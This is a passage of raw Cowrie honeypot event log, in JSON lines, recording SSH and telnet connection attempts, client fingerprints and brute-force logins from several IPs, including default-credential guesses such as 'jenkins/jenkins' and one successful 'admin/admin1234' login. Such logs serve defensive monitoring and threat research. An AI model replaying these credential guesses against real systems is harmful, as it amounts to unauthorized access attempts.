acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:29.755806Z","src_ip":"91.92.40.36","session":"dcf6631185f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14820,"dst_ip":"10.17.0.5","dst_port":22,"session":"32637f5a9bc7","protocol":"ssh","message":"New connection: 45.153.34.195:14820 (10.17.0.5:22) [session: 32637f5a9bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:29.902703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:29.907288Z","src_ip":"45.153.34.195","session":"32637f5a9bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:29.992001Z","src_ip":"45.153.34.195","session":"32637f5a9bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"abuse","message":"login attempt [abuse/abuse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:30.240046Z","src_ip":"45.153.34.195","session":"32637f5a9bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:31.324027Z","src_ip":"45.153.34.195","session":"32637f5a9bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59370,"dst_ip":"10.17.0.5","dst_port":22,"session":"b076131074f5","protocol":"ssh","message":"New connection: 45.153.34.195:59370 (10.17.0.5:22) [session: b076131074f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:32.705149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:32.762884Z","src_ip":"45.153.34.195","session":"b076131074f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:32.812027Z","src_ip":"45.153.34.195","session":"b076131074f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:33.123758Z","src_ip":"45.153.34.195","session":"b076131074f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9683a19c1cb","protocol":"ssh","message":"New connection: 91.92.40.36:45222 (10.17.0.5:22) [session: a9683a19c1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:33.212984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:34.183911Z","src_ip":"91.92.40.36","session":"a9683a19c1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:34.187732Z","src_ip":"91.92.40.36","session":"a9683a19c1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3884334564209,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:34.201643Z","src_ip":"172.81.62.90","session":"3645d2aee8ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:34.218223Z","src_ip":"45.153.34.195","session":"b076131074f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":42196,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac9089d637d","protocol":"ssh","message":"New connection: 73.36.177.174:42196 (10.17.0.5:22) [session: aac9089d637d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.336570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.354426Z","src_ip":"73.36.177.174","session":"aac9089d637d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.397182Z","src_ip":"73.36.177.174","session":"aac9089d637d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59394,"dst_ip":"10.17.0.5","dst_port":22,"session":"81c0ca359aa5","protocol":"ssh","message":"New connection: 45.153.34.195:59394 (10.17.0.5:22) [session: 81c0ca359aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.444694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.603806Z","src_ip":"45.153.34.195","session":"81c0ca359aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.607078Z","src_ip":"45.153.34.195","session":"81c0ca359aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maria","password":"maria","message":"login attempt [maria/maria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:35.622487Z","src_ip":"73.36.177.174","session":"aac9089d637d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:36.136082Z","src_ip":"45.153.34.195","session":"81c0ca359aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:36.669501Z","src_ip":"73.36.177.174","session":"aac9089d637d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:37.219001Z","src_ip":"45.153.34.195","session":"81c0ca359aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":55996,"dst_ip":"10.17.0.5","dst_port":22,"session":"615ff6ba093d","protocol":"ssh","message":"New connection: 23.175.50.47:55996 (10.17.0.5:22) [session: 615ff6ba093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:37.264227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:37.268512Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:37.348515Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:37.694236Z","src_ip":"91.92.40.36","session":"dcf6631185f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apex","password":"apex","message":"login attempt [apex/apex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:38.218823Z","src_ip":"91.92.40.36","session":"a9683a19c1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59412,"dst_ip":"10.17.0.5","dst_port":22,"session":"809505caa317","protocol":"ssh","message":"New connection: 45.153.34.195:59412 (10.17.0.5:22) [session: 809505caa317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:38.380688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:38.572348Z","src_ip":"45.153.34.195","session":"809505caa317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:38.577215Z","src_ip":"45.153.34.195","session":"809505caa317","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:38.853100Z","src_ip":"23.175.50.47","session":"615ff6ba093d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:39.078402Z","src_ip":"45.153.34.195","session":"809505caa317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46964,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47d42b4dce8","protocol":"telnet","message":"New connection: 172.81.62.90:46964 (159.203.135.109:23) [session: f47d42b4dce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:39.606658Z"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:39.880307Z","src_ip":"91.92.40.36","session":"a9683a19c1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.244665Z","src_ip":"91.92.40.36","session":"dcf6631185f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.253061Z","src_ip":"45.153.34.195","session":"809505caa317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47566,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e6da3a2c1b","protocol":"ssh","message":"New connection: 91.92.40.36:47566 (10.17.0.5:22) [session: 61e6da3a2c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.683588Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":42272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d629aa6e553","protocol":"ssh","message":"New connection: 150.136.214.177:42272 (10.17.0.5:22) [session: 7d629aa6e553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.760488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.764947Z","src_ip":"150.136.214.177","session":"7d629aa6e553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.790391Z","src_ip":"150.136.214.177","session":"7d629aa6e553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"nil","message":"login attempt [nil/nil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:40.940302Z","src_ip":"150.136.214.177","session":"7d629aa6e553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59416,"dst_ip":"10.17.0.5","dst_port":22,"session":"45fe7bbd5842","protocol":"ssh","message":"New connection: 45.153.34.195:59416 (10.17.0.5:22) [session: 45fe7bbd5842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:43:41.365415Z"}
